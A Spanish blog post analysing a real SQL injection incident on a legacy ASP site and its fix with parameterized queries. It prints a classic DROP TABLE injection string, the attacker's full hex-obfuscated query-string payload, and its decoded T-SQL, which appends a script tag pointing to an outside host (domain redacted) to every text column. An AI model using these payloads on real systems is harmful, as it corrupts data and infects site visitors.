Icono del sitio Programando a medianoche

SQL Injection 100% real

Hace unos días un cliente nos reportó comportamientos extraños en su aplicación, la aplicación en cuestión estaba desarrollada en una tecnología ya en desuso hoy en día (ASP con ODBC), incluso en ocasiones le habíamos propuesto migrar la solución a una tecnología más moderna y adecuada que permitiese una mayor velocidad de ejecución, una mejor experiencia de usuario y un mantenimiento más eficiente (ASP.NET 3.5, AJAX, Silverlight). Pero la aplicación en cuestión, además de haberse quedado unos cuantos años en el tiempo, poseía un serio defecto de programación, quizás cuando fue desarrollada no eran muy comunes los ataques de SQL Injection y quizás fue también un milagro que hasta ese momento la aplicación no haya sido atacada, pero la situación había cambiado ese día, la aplicación que armaba cadenas de texto SQL concatenando sentencias, campos y datos enviados por el usuario de la forma más inocente estaba siendo atacada. Esta forma de ataque por SQL Injection nos pareció talentosa (lamentablemente a veces el talento se usa con fines dañinos) y fuera de lo que ya conocíamos, por eso decidimos comentarla en nuestro blog.

Empecemos por el principio, que es la forma más clara de empezar.

SQL Injection es una vulnerabilidad de programación que le brinda a un usuario de una aplicación la posibilidad de inyectar sentencias SQL en la base de datos que la aplicación emplea como soporte de datos, para que un ataque por SQL injection sea posible es necesario que el programador arme sentencias SQL concatenadas con datos que le llegan del usuario.

Un caso bien simple y conocido es el del login, por ejemplo, una función que autentica al usuario con la siguiente sentencia:

string strLoginSnt = "SELECT id, email, password FROM table WHERE email = '" + strUserEmail  + "'"

Donde la variable strUserEmail que es un dato brindado por el usuario es una puerta de entrada para un ataque por SQL Injection, ya que si el usuario ingresa el valor :

 x'; DROP TABLE users; --

donde el programador inocente esperaba por ejemplo un:

usuario@scientia.com.ar

que le permitiese armar la sentencia SQL

SELECT id, email, password FROM table WHERE email = 'usuario@scientia.com.ar'

la misma se termina transformando en:

SELECT id, email, password FROM table WHERE email = 'x'; DROP TABLE users; --'

el usuario se las ha ingeniado para inyectar un DROP TABLE users en nuestra sentencia, claro está que para eso debe conocer el nombre de las tablas y para otros casos el nombre de los campos de dichas tablas, pero eso no es un impedimento ya que con tiempo, paciencia y un mínimo poder de deducción terminará descubriendo los nombres de las tablas y sus campos. Cabe comentar en este punto que a veces los programadores suelen darle una gran ayuda a que el usuario dañino pueda encontrar esta información, es ilógicamente increíble la cantidad de veces que las aplicaciones dan información detallada de la estructura de su base dade datos cuando el usuario provoca un error en el ingreso de datos, es posible que éstas técnicas sean partes del arsenal utilizado para conocer el nombre de tablas y campos de la base de datos y de esa forma llegar a armar una sentencia SQL Injection válida. Todos estos puntos ya son conocidos desde hace algún tiempo y estoy convencido que cada vez son menos los programadores que arman sentencias SQL por concatenación, hoy día ya todos sabemos que las consultas parametrizadas son la solución para este tipo de ataques.

Pero ahora volvamos al caso con el que iniciamos éste blog, una aplicación hecha en tecnología ASP donde los datos ingresados por el usuario, tanto como los pasados por QueryString eran vulnerables a SQL Injection.

Investigando descubrimos que ciertas páginas recibían información por QueryString y que esa información se empleaba para armar sentencias SQL por concatenación, suceptible a ataques por SQL Injection, esa era la puerta de entrada que había encontrado el hacker para atacar al sitio.

Entonces mientras que el servidor estaba esperando algo del tipo:

/display.asp?IDDisp=23976

alguien le estaba pasando lo siguiente

/display.asp?IDDisp=23976;
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST
(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220%20AS%20
VARCHAR(4000));EXEC(@S);--

Limpiando un poco lo agregado:

DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
EXEC(@S);--

ésta sentencia le estaba llegando al motor de base de datos SQL Server un Exec de @S donde @S era:

CAST(0x4445434C41524520405
4205641524348415228323535292C404320564152434841522832
353529204445434C415245205461626C655F437572736F7220435
552534F5220464F522053454C45435420612E6E616D652C622E6E
616D652046524F4D207379736F626A6563747320612C737973636
F6C756D6E73206220574845524520612E69643D622E696420414E
4420612E78747970653D27752720414E442028622E78747970653
D3939204F5220622E78747970653D3335204F5220622E78747970
653D323331204F5220622E78747970653D31363729204F50454E2
05461626C655F437572736F72204645544348204E455854204652
4F4D205461626C655F437572736F7220494E544F2040542C40432
05748494C4528404046455443485F5354415455533D3029204245
47494E20455845432827555044415445205B272B40542B275D205
34554205B272B40432B275D3D525452494D28434F4E5645525428
564152434841522834303030292C5B272B40432B275D29292B272
73C736372697074207372633D687474703A2F2F7777772E2E636F
6D2F6E67672E6A733E3C2F7363726970743E27272729204645544
348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C655F437572
736F7220 AS VARCHAR(4000))

Ejecutando finalmente el CAST, pudimos llegar a lo que el hacker había preparado para nuestro motor de base de datos:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT
a.name,b.name
FROM
sysobjects a,syscolumns b
WHERE
a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www..com/ngg.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

La sentencia SQL (casteada a un Image para evitar problemas en el QueryString) buscaba todos los los campos de texto del servidor de base de datos (como puede verse recorre todas las bases de datos, tablas y campos del motor) y les agregaba al final del texto lo siguente:

<script src=http://www..com/ngg.js></script>

(El dominio al que accedía fue eliminado por nosotros)

De ésta esta forma cuando desde una página web se mostraran los datos leídos desde la base de datos, el cliente se estaba bajando un javascript que no sería un ‘hola mundo’ seguramente. Con un caso 100% del mundo real podemos ver cuán dañino puede ser un ataque por SQL Injection. El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias, las consultas del tipo:

Dim rs, conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set rs = Server.CreateObject("ADODB.recordset")
strSQL = "SELECT id, email, password FROM users WHERE email = '" + strEmail + "'"
rs.open strSQL, conn

Fueron reemplazadas por :

Dim cmd, rs, conn</code>
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set Cmd = Server.CreateObject("ADODB.Command")
Cmd.ActiveConnection = Conn
Cmd.CommandText = "SELECT id, email, password FROM users WHERE email = ?"
Cmd.CommandType = 1
Cmd.Parameters.Append Cmd.CreateParameter("P1", 200, 1, 100, strEmail)
Set rs = Server.CreateObject(”ADODB.recordset”)
rs.open Cmd

Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:

CREATE TABLE [dbo].[dummytest](
[dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]

y creamos el siguiente SQL Injection para hacer las pruebas:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

 

INSERT INTO dummytest (dummyfield) VALUES ('HACKED')

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de «vacuna Injection». Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva.

El resumen de todo esto no es solamente la confirmación de que siempre hay que utilizar parámetros en las consultas, sino también el reconocimiento de la habilidades y conocimientos de quienes intentan encontrar vulnerabilidades en las aplicaciones, la idea de que hay que programar en forma responsable y mantenerse actualizado en materia de seguridad, que no es solo un asunto de administradores, hoy día la creatividad en los ataques a sitios hace que la seguridad sea tema de toda el área que interviene en la creación y vida de un proyecto.

Lo único que quedo por saberse es ¿qué contenía el javascript?, cuando intentamos bajarlo para ver de que se trataba, ya no era posible acceder al servidor que lo contenia, el sitio ya no estaba más. pero seguramente ya debe estar en algún otro.

Salir de la versión móvil